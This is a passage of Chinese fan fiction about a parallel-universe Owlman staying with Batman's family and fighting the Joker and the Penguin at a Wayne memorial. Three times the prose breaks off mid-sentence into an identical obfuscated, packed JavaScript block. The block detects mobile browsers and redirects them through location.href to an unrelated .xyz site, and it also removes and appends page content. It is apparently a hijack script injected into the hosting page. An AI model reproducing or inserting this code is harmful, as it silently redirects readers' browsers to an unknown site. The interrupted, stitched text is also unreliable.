提姆认为夜枭格外危险,他设想了一个连超级英雄都会肆意杀人的宇宙会是什么景象——“混乱”。当然,超英也可能由政府给予了审判权而非动用私刑,可是那样的话,夜枭不会对自己的真实身份毫无在意。 夜枭住在韦恩庄园,坐拥财富和权利,并不惮于被得知姓名样貌,提姆只能认为在某种程度上他已经取代了政府,成为哥谭真正的统治者。 在这种情况下,他的对手会倾向于背水一战夹缝求存,行事更加无所顾忌,简而言之就是一切法律秩序皆是空谈。然而夜枭仍然有研究平行宇宙甚至于对外拓张的余裕,说明他掌控下的哥谭根基稳定,简直是难以想象的血色工程。 迪克则认为夜枭还不到泯灭人性的程度——小托马斯对和布鲁斯长相相似的达米安都会手下留情。夜枭昨晚审问了一个流浪汉,出手足够克制。在那之后他帮忙抓住十几个小丑帮成员及谜语人手下,甚至揍翻了一位企鹅人麾下的中层管理,却没有致使任何人死亡。 无论这些是否是看在布鲁斯的面子上(迪克把这句话重复了两次。太难得了,他们大部分时间遇到的反派,都会因为对手是蝙蝠侠或者韦恩而下手更狠),夜枭展现出的分寸感和界限感都值得肯定。 猫头鹰先生无声表达的是:至少在这个哥谭,他不打算触犯蝙蝠侠的底线,那么他们最好也不要反过来寻根究底。 很遗憾,蝙蝠侠就是不乏探求真相的执着。 他目前觉得夜枭对韦恩夫妇的态度有些不对劲。如果小托马斯在另一个‘布鲁斯·韦恩’身上不吝善意,为什么对自己逝去的父母反倒表现得冷漠无情?还有另个宇宙的阿尔弗雷德,如果他还活着,他同小托马斯是什么关系? 假使真的是反转宇宙,改变的绝不只是年龄。 ** ‘早餐’时间平平淡淡地过去了,午间八卦电视节目也告一段落,布鲁斯完全不想知道自己的形象在夜枭眼中变成了什么样,他十分坦然地邀请对方前往韦恩企业参观。 后者并未拒绝——严格来说,猫头鹰先生现在是囚犯,只是软禁他的环境相对友善。一个缺乏人身自由的囚徒并没有资格追求待遇,他的行动安排完全掌握在蝙蝠侠手上。 夜枭只是在出发前问道:“我们会遇到狗仔队吗?” “……” 之前的娱乐节目显然留下了深远影响。 布鲁斯展开一个一点都不蝙蝠侠的笑容。他发现只要自己这么干,小托马斯就会不自在:“让他们拍去吧,你介意吗?” “如果你无所谓的话。”夜枭冷静地说,“我只是在想,媒体很快意识到韦恩继承权纠纷并不只限于提摩西和达米安那一代,他们会为我的出现而欣喜若狂。” 提姆猝不及防地呛到了。他断断续续地咳嗽两下,解释道:“我们没有继承权纠纷。” 但他紧接着意识到,作为大众眼中的受益者,自己说出此话毫无诚信力,好比早已登基的国王亲切声称自己与兄弟姐妹同穿一条裤子。 红罗宾没法从托马斯的表情看出来他到底信没信,可是无论如何,蝙蝠同猫头鹰的斗争与罗宾鸟有什么关系? 他愤怒地扔下咖啡杯,决定接下来的一段时间都蹲在蝙蝠洞,让新闻媒体去骚扰主动出现在聚光灯下的人吧。 迪克冲他挤挤眼睛,表示接下来由他跟进。 三个人一起迈出韦恩庄园来到院子里,阿尔弗雷德跟在身后不远处。 一只黑色的、皮毛油亮的大型犬轻快地跃过草坪向他们跑来。它奔跑的速度很快,尾巴甩来甩去,在接近人类时开始减速。 “ACE!”迪克和它打了声招呼,黑犬友善地在他小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064584|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿上蹭了蹭。路过托马斯时,它深褐色的鼻尖耸动两下,对着夜枭打了个喷嚏,而后俯下身,喉咙里发出威胁似的呼噜声。 “别这样,艾斯。”迪克伸手揉揉它的头又挠挠它的下巴,“这是我们的客人。” 艾斯舔舔他的掌心,湿润的眼睛仍然紧盯着托马斯。 夜枭露出一个略带惊奇的表情。 “你们还养了狗。”他和艾斯对视,并未尝试表达友善,只是站在一旁看他们互动。艾斯的尾巴像狼一样垂下去,听话地没有发出声音,却卷起嘴唇露出利齿,前爪不安地在地面上刨动着。 “他是个好孩子。”迪克边擦狗口水边试图弥补。 “我理解。”夜枭回答,语调同他带着面具时毫无区别。“狗这种生物,只对他们主人忠诚。” ——或者也不一定。他冷漠又刻薄地想到。取决于它的主人是谁。 布鲁斯意有所指道:“你应该放松点,艾斯才不会警惕你。” 他的兄弟以及当下的囚犯怔愣一瞬,终于扯起嘴角笑了:“你的拳头还没到把人打傻的程度……Brucie。”布鲁西这个过于甜腻的称呼被夜枭念得很含糊,不过他嗓音本来就有些沙哑,这点迟疑倒不很引人注意,“我从来不是他的家人。我们互相警惕。” 他歪了歪头,目光落在和布鲁斯相交的、虚空中的一点上,“而且别把我和新闻媒体混为一谈,蝙蝠侠,我能看出来你撑出这副假象的目的。你的真实性格就那么见不得人,还是说只在深夜出现的义警才是你的真面目?” 蝙蝠侠眉心出现浅痕,又很快被主人扯平。 “看来我和你认识的布鲁斯·韦恩不太一样,”他说道,“但是世界上没有两片树叶是完全相同的,你永远不能通过观察我——我和韦恩家的其他成员来揣度一个只有你才熟悉的人。” 小托马斯一直在拼拼图。他像是最有耐心的玩家,不放过边边角角的任何线索,企图从流浪汉、电视台、蝙蝠洞与庄园里的蛛丝马迹、任何与布鲁斯接触过的人、甚至是一条狗身上找出适合拼接的颜色。 但他注定徒劳。 夜枭脸上嘲弄的笑容也消失了,他毫无表情地站立在原地,眼神终于完整落在布鲁斯脸上。 两双相似的钢蓝色眼眸对视。 艾斯又开始发出低沉的咆哮声。 蝙蝠侠:“——除非你并不熟悉他。” “……” “布鲁斯·韦恩已经死了,是吗?” “……” 漫长的沉默。迪克半跪着,手还按在艾斯柔顺的皮毛上,仰头看着对峙的两个人。他观察着那些白日里无所遁形的微表情,猜想夜枭这时更想把自己打扮成猫头鹰,而不是就这么毫无遮掩地站在阳光下。 不管是枭鸟还是蝙蝠,都比常人更需要夜晚。 直到他们走出院子,艾斯才放松下来。它跟在阿尔弗雷德身后,在老管家坐下时将自己的下巴搭在老人的膝盖上,瞳仁里流露出人性化的忧虑。 “别担心。”阿尔弗雷德一下下抚摸它的脊背,“我们要相信他能克服。” 然而管家先生并未明确指出自己说的究竟是哪件事、又是哪个人。 14. 韦恩纪念馆 “你最好能解释清楚,为什么夜枭失踪前最后见到的人是你。” 超女王有一下没一下地甩着自己手里的屈服套索,翘腿打量坐在她对面的莱克斯·卢瑟。卡尔飞在她身边抱着手臂满脸不耐烦:“你用你的绳子套过去让他乖乖听话不就完了?” “他可不是个简单人物,超霸。普通人也不能和夜枭合作研究出来这种东西,你说是不是?”路易斯的高跟鞋在她身边摆着的传送机器上轻轻踹了一脚,“我倒是遗憾于死亡风暴对平行宇宙并不太感兴趣,还得让托马斯亲自出门找合作对象,如果不是为了这玩意,他可能一辈子都不会迈出哥谭一步。” 卢瑟嗤笑一声:“我从不指望平庸之人能够理解天才的想法,你以为自己对他的判断就全都是正确的吗?” “露易丝。”卡尔冷冰冰地说,“今天来这不是为了听一个不知天高地厚的自大狂在这里夸夸其谈的——” 卢瑟:“——你在说你自己吗超霸?” “行了,我知道了,安静点儿。”路易斯露出了一个她典型的‘男人就是不行’的表情,“我最后再问你一次,卢瑟。你恐怕在辛迪加找不出第二个比我更有耐心的人。夜枭,托马斯·韦恩,他现在到底在什么地方?” 这个问题的答案卢瑟确实有所猜测,可是他为什么要告诉面前这两个超级人类呢? 看看吧,一个仗着氪石取之不尽用之不竭、而对自己的实力从来没有具体认知的外星人;一个从来不肯说出自己的真实目的、永远游走在花丛中玩弄人心的亚马逊人。地球现在就是由这群人所统治,随便换个被他们关在精神病院里的疯子都能做的更好。 可是偏偏由他们站在权力顶峰,偏偏就是没有人能够战胜辛迪加。 夜枭想要的东西卢瑟难道一点都猜不到吗?小托马斯·韦恩继承了他父亲的名字和城市。多年以来他就是哥谭的国王,是行走的律法,是不可动摇的铁则,没有任何人能在猫头鹰的监视下粉碎这座庞大王国的根基。让卢瑟觉得好笑的是,夜枭通过暴力和金钱渗透进了政府执法机关,哥谭的警察对他俯首帖耳。由此,他竟然是唯一一个愿意和政府部门合作的‘超级反派’。 辛迪加的其他成员从不屑于这么做,他们征服、摧毁、掠夺,以得到他们想要的东西。在这个基础上,超霸等人对‘世界’的认同与热爱远胜于小托马斯·韦恩。 夜枭则只信奉他自己。他玩弄权力,像条理智又冷漠的标尺,将一株朽木上已经长歪的躯干与即将扭曲的枝条强行板正,甚至不在乎哥谭在他永远离开后会不会变得更加混乱。 若是有天小托马斯·韦恩死了,哥谭还能有第二个夜枭么? 卢瑟认为答案是‘不’。 夜枭死后,疯狂的唯有更疯狂,混乱的只能更混乱,再无人有条件以及能力制止。从这个角度上说,卢瑟还挺能理解为什么哥谭的超级英雄尽管身处劣势又没有什么深仇大恨,却每天前仆后继地追在夜枭后头搞事。 理解万岁,小丑送他的恐怖|袭击式自杀机器人仍然摆在实验室里没来得及拆封呢。 总之如果有个什么‘最有可能毁灭世界’排行榜之类的东西,卢瑟会给猫头鹰投出宝贵的一票。 夜枭掉进平行宇宙是个意外,不知道好坏的那种。但若说卢瑟和小丑是表面敌人,卢瑟和夜枭是表面合作,卢瑟和辛迪加其他成员目前就是连表面都没有的关系。 把平行宇宙的事告诉超霸有什么好处? 没有好处。 莱克斯·卢瑟有个优点,就是从来不干对自己没好处的事。 他轻松地耸了耸肩,对露易丝扯出一个假笑,理直气壮地说道:“我不知道。” …… 半秒钟后他们在实验室里大打出手。 从天而降的闪电,屏幕的幽蓝色闪烁、电路的火花,屈服套索的金光,氪星人的热射线在狭小的空间中交相辉映。 超霸掀翻卢瑟镶嵌在地面上的金属台,打穿了电脑屏幕,咆哮道:“我说——早就该——这么干了!!” 超女王在别人看不到的反光的地方不停翻白眼。 卢瑟心说反正值钱的东西我早就搬走了,除了一台把夜枭弄没的罪魁祸首原型机和小丑送来的机器人炸|弹,在免费人工拆迁之外超霸你还能得到什么…… 等一下。 原型机忽然响起了轰鸣声。 可是它的能源核心以防万一早就被卢瑟拆下去了,现在这种情况就像夜枭传送前一样。他心中一紧,还没来得及做什么,就看到超霸条件反射地拿起桌子上的自杀机器人怼了过去。小小的机器大大的通道,在小丑来信中被亲昵称呼为‘哈莉三十六号’的机械玩偶立刻消失得无影无踪。 “……” 卢瑟头皮一麻,眼皮直跳,心中总有种不祥的预感。 卡尔还在迷惑而愤怒地瞪着他:“这到底是个什么东西?!” ** 布鲁斯出行驾驶的是一辆芬尼尔。这一系列跑车是WMotors公司继全球限量仅七台的莱肯之后发售的第二款车型,细节设计从方方面面体现出‘钱多速来’,价格高昂名字霸气外表酷炫,性价比常年遭到质疑,出现在韦恩家的车库里倒是不让人意外。 “哇哦,看来他真的想上新闻头条。”迪克说,“布鲁斯很久没开过这辆车了。” “你以为我们低调地走出韦恩庄园就不会被跟踪报道吗?”蝙蝠侠在我身边停车按下车窗,“这辆车我让卢修斯做过一点改造。” 但他没说是哪方面的。 跑车只有两个座位,迪克只能与我们挥手作别。他的离开带走了我最后一点谈话兴致,蝙蝠侠倒是表现得很镇定,就好像我们之前言语上的分歧不存在似的。 我不想让他们知道我那边的‘布鲁斯·韦恩’已经死了,是因为这个问题会引出很多后续,比如他什么时候死的?怎么死的?谁杀了他?又是为了什么?很多年前阿尔弗雷德对我行事动机的讶异、以及我自己对周围环境的认知,导致迄今为止我都极其反感于在人前坦白及剖析自我,不管听者对我的态度是正面的还是反面的,都令人觉得难以忍受,且没有意义。 我看着跑车的储藏柜:“车上有酒么?” “没有。”布鲁斯很快回答,“我不喝酒。” “……用来伪装的呢?” 驾驶座上的人摇头:“不需要。” “……” 我想我完全可以让此刻的冷场延续下去,他不会问我为什么要喝酒,我也不用问他为什么不喝。 蝙蝠侠开着这辆芬尼尔,倒是不像开蝙蝠车一样狂野,我们在限速的哥谭街道上龟速前行,和周围从四位数到七位数美金价格不等的车辆并驾齐驱。对其他司机而言此时的路况实在有害心脏,我相信我们前后左右都已经在心里预估出了车祸要赔多少钱并谨慎地握紧了方向盘。 但不管怎么说有些话还是不得不讲,而且现在才说已经算是我久违的拖延症在作祟了。 “我来到这里是个意外。”我说,“如果正义联盟有平行宇宙相关技术,我们可以签合同用物资做交换,我早点离开对你们来说也算好事。” “抱歉,风险太大,”布鲁斯目视前方边开车边回答,“我们不了解你所在的地球,而在此之前联盟遇到过很多来自平行宇宙的敌人。” 这就很麻烦,当我的世界还在研究平行宇宙是否存在的时候,人家已然开团打过好几次战场。所以按照布鲁斯的说法,平行宇宙还不止一个,我有点怀疑是不是只有我那里没有蝙蝠侠。 我想了想,问道:“那你呢,有没有什么想要的东西?” 他侧头看了我一眼。 “你知道我对你的哥谭没兴趣。”毕竟我之前投降得那么干脆,“无论我来到平行宇宙有什么目的,你至少能确定我不会对这座城市动手。” “我的行为只代表我自己,与任何势力无关。我可以和你做交易——不是和正义联盟,单纯是你和我。你帮助我回去我的世界,我送给你一份礼物,我还可以保证从今往后不再踏上这里一步。” 沉默了一会,觉得没什么补充的,我继续说: “怎么样,蝙蝠侠,我的提议没有坏处。” 其实我觉得他答应下来的可能性微乎其微。 但我又不了解蝙蝠侠,不试试怎么肯定?而且我说的都是大实话。正义联盟也许会担忧我是什么入侵部队的先锋军,可是也不知道谁家打头阵的能像我这么倒霉。 “或者你对物资不感兴趣,有什么不方便解决的麻烦可以交给我。” 比如阿卡姆,比如□□,再比如随便哪个他看不顺眼的人或事。这条更没有什么说服力,完全是拿来凑数的,争取让我自己看上去更有诚意一点,可以说是最后的尝试了。 说实话,我完全不在乎布鲁斯·韦恩是否是个完美无瑕的圣人。他不是我认识和接触过的那个人,但我很乐意帮他的忙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064585|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与此同时,我又确定蝙蝠侠绝对不会答应。 我大概要再花费点时间,才能适应蝙蝠侠真的是我弟这件事。 布鲁斯的表情有点复杂。 “我不……”他斟酌着说道,“我的意思是,这件事与交易无关。等到我们能够确保安全,或者做好了准备,你就可以离开。” 我没回话。 半晌就轮到他开启新话题了。他说:“他们是怎么死的?” ** “这里是韦恩纪念馆。”抵达目的地后布鲁斯向我介绍,“上一次修缮是五年前了,哥谭市规划建设管理局计划在原址上进行整修和扩建,但必须首先咨询我的意见。” 布鲁斯说完停顿了好一会,像是在等我接话。但我实在没什么可评价的,韦恩和纪念馆这两个单词连起来在我看来就他妈离谱。 “不是每一个韦恩都值得尊敬和纪念。”他见我打定主意闭嘴,只得继续,“善良的夫妻可能养育出罪犯,混乱的环境也会诞生英雄,后天教育有一定关系,我认为本性同样重要……这栋纪念馆严格来说是为我父母建立的。” 我在入口处树立的雕像和雕像前的石碑旁驻足片刻,跟上他的脚步往里面走。 纪念馆正在计划扩建,所以暂时没有游客(我怀疑真的会有游客为了参观纪念馆跑来哥谭吗)。布鲁斯要先去找馆长谈话,他表示现在建筑物的结构恰到好处,如果扩张反而会影响到周围的交通、以及一所小学的儿童通道。我不愿意去听他们围绕着周边环境和政治考量扯来扯去,就礼貌地拒绝了布鲁斯关于进办公室坐坐的邀请,在他们商量正事的时间里徘徊在几个我颇为感兴趣的展馆中。 里面有一些老照片,我认出了阿尔弗雷德的父亲贾维斯·潘尼沃斯。在我很小的时候就是他在为韦恩家服务,直到他死后才由他的儿子继任。旁边的介绍说贾维斯·潘尼沃斯死于车祸,正是这场车祸造成了韦恩家第二个儿子小托马斯·韦恩的死亡。 除了韦恩家族的历史、一些传说、家庭成员介绍以及韦恩夫妇为城市做出的各种贡献之外,展厅简单列出他们生前遇到的一些已经尘埃落定的对手,这些人或是已经离世,或是正在监狱中服刑,属于被挂出大名也掀不起风浪的类型。 我把他们一一看过去,然后在展厅尽头的展柜里发现了一个格格不入的、没有介绍的猫头鹰面具。 我:“……” 怀着种被指名道姓骂了一顿的感觉,我心情微妙地观察那个面具——和我平时穿着的当然一点都不一样,不过确实能看出猫头鹰的特征。以防游客认错,本该是介绍的地方还附有一首童谣,其中提到了‘猫头鹰法庭’。 猫头鹰又做错了什么? 总觉得我现在沦落到这种地步,和挂在这里的枭鸟面具脱不开关系。如果蝙蝠对应的反派注定是猫头鹰,DC编辑每画一本漫画就会有一只猫头鹰风评被害,这个宇宙需要《哈利·波特》来给无辜的鸟群正名。 我从展厅开头走到尾端花了不少时间,因为每当看到自己熟悉但不同的细节之处就忍不住停下来反复确认。等我和猫头鹰法庭的面具大眼瞪小眼的时候,布鲁斯都已经和馆长谈完往这边走了。 “你在看什么?”附近没有别人,他隔着很长的距离问我,声音比平时要更大点,“哦,猫头鹰法庭。这是一首在哥谭流行了很久的童谣。” 蝙蝠侠的神色微微有些凝重。 我就知道这又是个难缠的对手了,而且我明知道它们和我无关,竟然还是觉得有点尴尬。 布鲁斯也意识到这点,很快调整神态恍若无事地向我走来。但我们没能汇合——我们之间的天花板上有一扇用于预防火灾的卷帘门。在他距离那扇没有放下的金属门尚有几米时,纪念馆中忽然响起了警报声,下一刻我们眼睁睁看着卷帘门轰然落下,砸在光洁的大理石地面上。 我所在的长厅是半封闭的,出口在布鲁斯所在的另一边。除此之外,墙壁大约两人高处分布着小小的通风窗,我的背后只有一面罗列着展品的坚实墙壁。 我开始思考这究竟是纯粹的意外、犯罪现场的殃及池鱼、还是就是有人在针对我,亦或者有一个天选反派发现了蝙蝠侠的真实身份。 ……如果真的是特殊事件,但愿犯罪分子能有点想象力,别安排那种让我作为人质等待超级英雄救援的发展。 否则我确信事情进展到一半,不论是等待被救的我,还是绑架我的反派,都会感到格外为难。 15. 高空抛物梅开二度 “这和说好的不一样,小丑。”企鹅人挺直脊背说道,“你要是早点告诉我,我根本就不会来。” “哪里不一样了?”小丑笑嘻嘻地问,“你和猫头鹰法庭之间不是有那么点小矛盾吗?我是在帮你,奥基。” “如果你指的是我资助急冻人时候的事……那算不上什么矛盾,我可以当猫头鹰法庭不存在。讨厌他们的人是你。” “所以你对昨天晚上出现的那只猫头鹰也没兴趣了?” 企鹅人握着雨伞的手紧了紧。 “他把我的手下揍了一顿。”他慢吞吞地说,“我当然要给他点颜色瞧瞧。但问题是,你怎么知道猫头鹰和……布鲁斯·韦恩身边这个男的是同一个人?” “我就是知道,奥基,哥谭有什么是小丑不知道的呢?再说了,这家伙一点掩饰的意思都没有,你懂吗,他肆无忌惮,像我们这边的人。”说到这,小丑凑过来拍拍企鹅人肩膀,得到了后者一个厌恶的皱眉,“就算你现在不信我的话,让你的人去揍他一顿不就确定了,哈哈哈哈!” “好吧,小丑。”实际上,企鹅人粗而乱的眉毛打从队友说话起就没松开过,皱成一团的五官使他的鹰钩鼻看上去更突出了,“我就当是陪你来寻乐子,下次再有这种活动去找谜语人。” 小丑笑得肩膀颤抖:“艾迪会为你对他的情意而落泪的!” 他们面前摆着一台老旧的监控装置,屏幕上显示的正是韦恩纪念馆展厅内的场景。这枚摄像头位于展厅尽头的墙壁上,本来能全览整个房间,却因为突然落下的防火墙而失去了大半视野。 小丑身后倒着一个身穿保安制服的中年男人,此时瘫在椅子上不省人事。 企鹅人下命令指挥自己的手下爬通风口。之后他说道:“你干嘛要动卷帘门?这种老旧装置一旦落下,短时间内就抬不起来。万一外面的布鲁斯·韦恩趁此机会去联系GCPD和蝙蝠侠了呢?” “哦,那不是我放的。”小丑说,“我还以为是你干的呢,奥基,给自己增加挑战难度,非常有创意。” “我没有。我为什么要做这种费力不讨好的事?” 他们面面相觑,小丑嘴角越咧越大,阴森森地问:“有意思,我们都不承认的话,难道这间控制室里还有第三个人能做到这种事?” 话音落下,企鹅人拧动他的单眼镜片,条件反射般警惕地环顾四周。 控制室内寂静无声。 而监控屏幕上第一批企鹅人手下已经打开通风口爬进了展览厅。队伍中最莽的那个人在落地瞬间抽出撬棍,打碎了装有猫头鹰面具的玻璃展柜,然后去势不停,凶狠地砸向背对展柜站立的黑发青年。 后者仿佛后脑勺上长了眼睛,利落地侧身避过攻击,单手拧住撬棍握把用力向后一推,重重砸在攻击者的肋骨上。企鹅人手下‘嗷’地痛呼一声,踉跄着后退了三四步。 小丑:“注意偷袭的技巧,蠢货!风声大到我在这都能听见!”他在监控前手舞足蹈,像看德比球赛那样口中大声喊道,“往右边躲,侧踢!踹夜枭的膝盖骨!” 企鹅人则压根没管自己麾下的倒霉蛋们。他蹲在控制台前不停研究那个放下卷帘门的按钮,对小丑的喊声充耳不闻。 展厅里的打手当然听不见小丑指挥。第一位□□成员毫无悬念地落败,躺在地上昏迷不醒,而他的同伴已经赶到,呈包围之势靠近对手。 夜枭打量他们手里的武器,在一个握着冲|锋|枪的敌人开火时矮身躲在展柜的台子后面,捡起被打落在地的猫头鹰面具,扔暗器一样糊到开枪者的脸上。 与此同时,他冲到旁边的展柜,里面放着的是和猫头鹰法庭面具配套的盔甲。半秒钟后,夜枭用拳头打碎玻璃,抽出盔甲腰侧携带着的匕首甩了出去。 出鞘的利刃紧跟着前方面具,完美没入持枪人的视线死角。等到企鹅人手下举起胳膊拦下面具,惊骇地发现刃尖离他的眼睛仅有几厘米距离。 ——这时不管是躲闪、还是求助别人都已经来不及了。 房间里响起撕心裂肺的惨叫声,流露出的恐惧和痛苦让听者心惊胆战。游走在生死间、剥夺过无数人性命的□□成员扔下枪,哆哆嗦嗦地抬手按在眼眶周围,却不敢拔出那把精准插进眼球里的匕首,只能边不停地擦血边嘶吼道:“我要死了!我要死了!” 被他们围攻的男人如同夜晚凶戾的猎食者,冷酷无情地将他踹到一旁:“你瞎了一只眼睛,但死不了——去感谢蝙蝠侠吧。” 另一个打手忍不住打了个寒战,抬起头看向摄像头。 举着撬棍的手微微颤抖。 控制室内小丑骂了一声,扭头问企鹅人:“你怎么就不带点能打的?” “我没心情和你争论。”企鹅人头也不回地说,“你也没告诉我夜枭这么难解决,我们扯平了。我现在只想知道警察还有多久会赶过来,在那之前我要离开。” “你就一点都不想去和夜枭见个面握握手吗?你们两个都是鸟纲,而且猫头鹰只在南极洲没有分布!现在的见面多难得呀。” 企鹅人额角青筋直跳,还是忍了下来:“控制台没有被动过,小丑。你有没有想过,防火墙落下是因为下面真的着火了?我们得过去看一眼发生了什么。” 小丑也坚持要和夜枭见上一面,于是他们一拍即合,用炸弹炸开了整座墙。 因为以企鹅人的身材,就算他收腹提臀也爬不进去通风口。 爆炸声响起时夜枭正好解决了最后一个打手。他的皮鞋踏着大理石地面发出清脆的声响,西装上衣的袖子开裂了,手臂上有道红肿的淤痕,除此之外看上去毫发无伤。 小丑大笑着迎着爆炸的火光走进这一半展厅,夜枭正弯腰从地面上捡起猫头鹰法庭的面具。他不带情绪地看了一眼墙外的不速之客,将面具扣在了脸上。 ** 我从包围圈里面杀出来的时候还在想这次的对手究竟是谁,既然都来到了平行宇宙,那么讲点道理,出场的总不会还是小丑吧? 烟雾扬起时我用衣袖挡住口鼻,有点怀念自己那个不怎么符合空气动力学的鸟羽形披风。此刻我心情仍然是平和的,直到听见科波特粗声粗气地对什么人说道:“你先请。” “我就喜欢你这点,奥基。” 小丑的声音太有辨识度。 他一开口我俨然看到黑气从地面上升起,鸟粪落在圣十字架,黑猫路过阳台,今天还可能是13号星期五。这个展厅不干净了,因为小丑来过。 墨菲定律在这种时刻显得格外准确。 蝙蝠侠呢?蝙蝠侠呢? 出了这种事他都不管吗? “你好,猫头鹰~”小丑兴高采烈地和我打招呼,“通常情况下我是很欢迎新成员到来的,你知道阿卡姆来来去去就那么几张面孔,我偶尔还会觉得无聊。可是你究竟是谁、又来自什么地方?结识新朋友最重要的一件事就是互通姓名,作为交换小丑叔叔可以把我现编的悲惨往事告诉你,奥基作证!” 我克制住自己不管怎么说先对着他开两枪的冲动。 平心而论,眼前的小丑看上去比我认识那个还要疯得多。 我过去只觉得他扭曲,但勉强也能算是混沌善良——某次我甚至见过他边翘着嘴角边因为死去的无辜者落泪。我无数次想杀了他,或者办不到的话至少杀了那些团结在他周围的朋友们,然而想到自己从八岁那年起就再也没有为往后那些死于非命的亡魂哀悼过,又有点不想打破我们多年以来维持住的平衡。 而现在他的平行宇宙同位体不仅变态还让人恶心,难为科波特拄着雨伞站在他身后,仍然能保持住面无表情。 我改主意了,布鲁斯还是晚点再来吧,有些人能少见一分钟是一分钟。 企鹅人道:“别浪费时间,小丑,我真的不想和警察打交道。你已经和他见过面,我们可以走了吧?” “别急,你刚刚不是说要检查防火墙为什么会落下来吗?” “我是说过但……” 我听到这忍不住问:“不是你们放的火?”这种莫名其妙的事还挺像小丑能干出来的。 小丑:“我有点不喜欢你了,猫头鹰,你这是在诬陷!” 企鹅人阴沉道:“我也没,你之前见没见过什么别的人?” 我本来想回答他。但在那之前,一个怪模怪样的机器人忽然闯入了我的视野。它身上裹着棉布衣服、穿得像个马戏团小丑,头上别着花花绿绿的发饰,稻草似的金发梳成一对双马尾,吭哧吭哧用机械手抓着通风口跃过栏杆掉了下来,带着轮子的底盘摔在地上发出“啪”地一声脆响。 我顿时忘记自己刚才想说什么了:“哈莉?” 企鹅人若有所思地重复道:“哈莉?” 小丑尖叫:“哈莉?!” “It''sme!”不知道应该是三十五号还是三十六号的机械玩偶上带着简易语音播放器,但只能说出几个单词,是小丑玩恐怖袭击的时候用来增添戏剧效果的。我曾见过它边发出尖啸边游荡在哥谭市街头,身上响起倒计时的嘀嗒声,最后爆炸的火光能给很多旁观者留下噩梦。但在现下场景中,恐怖只剩下三分,其余七份都变成了滑稽。 我不由得换了个姿势,从全身戒备到稍微放松地靠在展柜上。 小丑也看见了平行宇宙自己的杰作,他的脸皮挂在肌肉上颤抖,喉咙挤出几声含糊不清地咕噜,然后怒气冲冲地道:“你管它叫哈莉?!我不承认!” 机械玩偶“哈莉”才不管其他人对它的意见。这玩意敌我不分杀伤力极大还自带精神污染,问题是它会优先攻击离得近的人。我和它隔着一定距离,而企鹅人已经跳起来了——机器人的眼睛部位开始发射激光,口中喷吐酸液,弹药四处乱飞,像个小坦克一样发起了冲锋。 至少现在我们知道防火墙为什么会落下。 科波特以不符合他现在身材的灵活程度辗转腾挪,手握雨伞开火和哈莉对射,一边开枪一边大喊:“快点像个办法解决你的小女朋友,小丑!” “谁他妈是我的女朋友?!”小丑问,“你听见她漂亮的脑壳里响起的嘀嗒声了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064586|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那通常意味着一件事,”企鹅人踱着步伐准备战略性逃跑,“它的脑袋里安装了你最喜欢的炸|弹。” 我认识的小丑毕竟不是真正的疯子,他制作的自爆机器人伤害范围有限,我现在仍在攻击半径之外。 所以我不着急离开,谨慎起见选择了一个视野更良好也更方便撤退的位置,蹲坐在展柜上不动了。 ** 事发突然,蝙蝠侠先回到停车场换上装备,帮助纪念馆里的管理人员和清洁工离开,以防建筑物被毁造成人员伤亡。小丑比他们晚来一步封锁了大门,周围还有警戒的□□成员。他联系警局又花去点时间。等布鲁斯赶到控制室时,里面的保安仍在昏迷,但幸好还留有性命。他松了一口气,视线落在屏幕上,正好看到夜枭解决完企鹅人手下,正在与两个罪犯头领对峙。 从本质上来说,现在的小托马斯·韦恩与已经离开的其他人一样是受害者。蝙蝠侠知道小丑是冲着夜枭来的,可他相信猫头鹰的能力,却不放心展馆中的其他人,所以他做了个非常简单易懂的取舍——把最危险的敌人放到最后解决,并寄希望于小托马斯能在他赶到之前拖住他们。 夜枭不会下杀手。布鲁斯能肯定这点。对方已经不止一次展现出他对平行宇宙规则的尊重,哪怕他其实很可能信奉另一套行事理念。 而蝙蝠侠知道在不下死手的情况下,想要拦住一个□□老大和一个阿卡姆精神病院跑出来的疯子有多困难。他本人精于此道,并不代表夜枭有义务帮忙。这好比令被绑架的人质自行解决绑匪,即使人质确实有能力,认为自己应当对此负责的黑暗骑士依旧生出愧疚之情。 他以最快的速度穿过被小丑强行炸开的墙壁往展厅方向冲去,同时告诫自己,极坏的可能是小托马斯同对手两败俱伤。但在靠近了战场之后,听声音战况的确颇为激烈,企鹅人骂声不断而小丑气得跳脚。 最后是“砰”地一声巨响,浓烟散去,遍地狼藉,夜枭镇定自若好整以暇地蹲坐在玻璃破碎的展柜上,摘下脸上的面具说道:“你来得正好,哈莉刚才爆炸了。” “……” 布鲁斯看着倒地不起的企鹅人和小丑,严谨地问道:“哈莉是谁?” ** 